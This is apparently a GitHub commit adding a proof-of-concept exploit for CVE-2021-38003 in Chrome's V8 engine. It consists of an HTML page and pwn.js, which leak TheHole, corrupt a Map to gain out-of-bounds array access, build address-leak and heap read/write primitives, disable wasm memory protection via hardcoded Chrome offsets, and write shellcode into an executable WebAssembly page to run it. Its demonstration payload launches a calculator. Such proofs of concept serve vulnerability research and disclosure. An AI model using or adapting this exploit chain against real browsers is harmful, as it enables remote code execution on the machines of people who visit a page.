STRLCPY/STARLabs_CVE-PoCs

Add files via upload
Jacob Soo committed with GitHub 1 year ago

1ce5b68d

1 parent 02fe6931

■ ■ ■ ■ ■ ■

CVE-2021-38003/index.html

1	+	<html>
2	+	<pre id='log'></pre>
3	+	<script>
4	+	function print(str) {
5	+	var log = document.getElementById('log');
6	+	if (log) {
7	+	log.innerText += str + '\n';
8	+	}
9	+	}
10	+	function logi(str) {
11	+	print('[+] '+str);
12	+	}
13	+	function loge(str) {
14	+	print('[!] '+str);
15	+	}
16	+	function hex(i) {
17	+	start = "";
18	+	content = i.toString(16);
19	+	if (i < 0) {
20	+	start += "-";
21	+	content = content.substring(1);
22	+	}
23	+	return start + "0x" + content;
24	+	}
25	+	</script>
26	+	<script src="pwn.js"></script>
27	+	</html>
28	+

■ ■ ■ ■ ■ ■

CVE-2021-38003/pwn.js

1	+	ab = new ArrayBuffer(8);
2	+	f64 = new Float64Array(ab);
3	+	B64 = new BigInt64Array(ab);
4	+
5	+	function ftoi(f) {
6	+	f64[0] = f;
7	+	return B64[0];
8	+	}
9	+
10	+	function itof(i) {
11	+	B64[0] = i;
12	+	return f64[0];
13	+	}
14	+
15	+	// trigger vuln to return a TheHole value
16	+	function trigger() {
17	+	let a = [], b = [];
18	+	let s = '"'.repeat(0x800000);
19	+	a[20000] = s;
20	+	for (let i = 0; i < 10; i++) a[i] = s;
21	+	for (let i = 0; i < 10; i++) b[i] = a;
22	+
23	+	try {
24	+	JSON.stringify(b);
25	+	} catch (hole) {
26	+	return hole;
27	+	}
28	+	throw new Error('could not trigger');
29	+	}
30	+
31	+	let hole = trigger();
32	+	// Create a map and make its size become -1
33	+	var map = new Map();
34	+	map.set(1, 1);
35	+	map.set(hole, 1);
36	+	map.delete(hole);
37	+	map.delete(hole);
38	+	map.delete(1);
39	+	// Now map.size = -1
40	+	oob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
41	+	victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
42	+	obj_arr = [{}, {}, {}, {}]; // object array. Used for storing object. This array lies within oob array, thus its member can be controlled by oob array
43	+
44	+	// OOB write in map, overwrite oob_arr's size to 0x111
45	+	map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
46	+	map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
47	+
48	+	data = ftoi(oob_arr[12]); // victim_arr's element and size
49	+	ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
50	+	/*
51	+	* addrof primitive
52	+	* Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
53	+	* Then put object in obj_arr[0] and read its address with victim_arr[0]
54	+	*
55	+	* @param {object} o Target object
56	+	* @return {BigInt} address of the target object
57	+	* */
58	+	function addrof(o) {
59	+	oob_arr[12] = itof((0x8n << 32n) \| ori_victim_arr_elem); // set victim_arr's element pointer & size
60	+	oob_arr[31] = itof((0x8n << 32n) \| ori_victim_arr_elem); // set obj_arr's element pointer & size
61	+	obj_arr[0] = o;
62	+	return ftoi(victim_arr[0]) & 0xffffffffn;
63	+	}
64	+
65	+	/*
66	+	* arbitrary V8 heap read primitive
67	+	* Modify the element pointer of victim_arr ( oob_arr[12] )
68	+	* Use victim_arr[0] to read 64 bit content from V8 heap
69	+	*
70	+	* @param {BigInt} addr Target V8 heap address
71	+	* @return {BigInt} 64 bit content of the target address
72	+	* */
73	+	function heap_read64(addr) {
74	+	oob_arr[12] = itof((0x8n << 32n) \| (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
75	+	return ftoi(victim_arr[0]);
76	+	}
77	+
78	+	/*
79	+	* arbitrary V8 heap write primitive
80	+	* Use the same method in heap_read64 to modify pointer
81	+	* Then victim_arr[0] to write 64 bit content to V8 heap
82	+	*
83	+	* @param {BigInt} addr Target V8 heap address
84	+	* @param {BigInt} val Written value
85	+	* */
86	+	function heap_write64(addr, val) {
87	+	oob_arr[12] = itof((0x8n << 32n) \| (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
88	+	victim_arr[0] = itof(val);
89	+	}
90	+
91	+	dv = new DataView(new ArrayBuffer(0x1000)); // typed array used for arbitrary read/write
92	+	dv_addr = addrof(dv);
93	+	dv_buffer = heap_read64(dv_addr+0xcn); // dv_addr + 0xc = DataView->buffer
94	+
95	+	/*
96	+	* Set DataView's backing store pointer, so later we can use dv to achieve arbitrary read/write
97	+	* @param {BigInt} addr Target address to read/write
98	+	* */
99	+	function set_dv_backing_store(addr) {
100	+	heap_write64(dv_buffer+0x1cn, addr); // dv_buffer+0x1c == DataView->buffer->backing store pointer
101	+	}
102	+
103	+	// Calculate the address of FLAG_wasm_memory_protection_keys
104	+	// ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
105	+	oac = new OfflineAudioContext(1,4000,4000);
106	+	wrapper_type_info = heap_read64(addrof(oac)+0xcn);
107	+	chrome_base = wrapper_type_info - 0xc4a6170n;
108	+	FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;
109	+	// Overwrite FLAG_wasm_memory_protection_keys to 0
110	+	set_dv_backing_store(FLAG_wasm_memory_protection_keys); // set dv point to FLAG_wasm_memory_protection_keys
111	+	dv.setUint8(0, 0); // Overwrite the flag to 0
112	+
113	+	// Now we can use the good old WASM trick to achieve RCE without being bothered by write-protect wasm memory
114	+	var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
115	+	var wasm_mod = new WebAssembly.Module(wasm_code);
116	+	var wasm_instance = new WebAssembly.Instance(wasm_mod);
117	+	var f = wasm_instance.exports.main;
118	+	// Get rwx page address ( wasm_instance + 0x60 == rwx code page )
119	+	var rwx = heap_read64(addrof(wasm_instance) + 0x60n);
120	+	// execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
121	+	shellcode = [0x90, 0x90, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x31, 0xf6, 0x56, 0x6a, 0x8, 0x5e, 0x48, 0x1, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x68, 0x3b, 0x31, 0x1, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x31, 0xd2, 0x52, 0x6a, 0x8, 0x5a, 0x48, 0x1, 0xe2, 0x52, 0x48, 0x89, 0xe2, 0x6a, 0x3b, 0x58, 0xf, 0x5]
122	+	// Write shellcode to the rwx page
123	+	set_dv_backing_store(rwx); // set dv point to rwx page
124	+	for (let i = 0 ; i < shellcode.length ; i++ ) {
125	+	dv.setUint8(i, shellcode[i]);
126	+	}
127	+	// trigger shellcode
128	+	f();
129	+
130	+

Add files via upload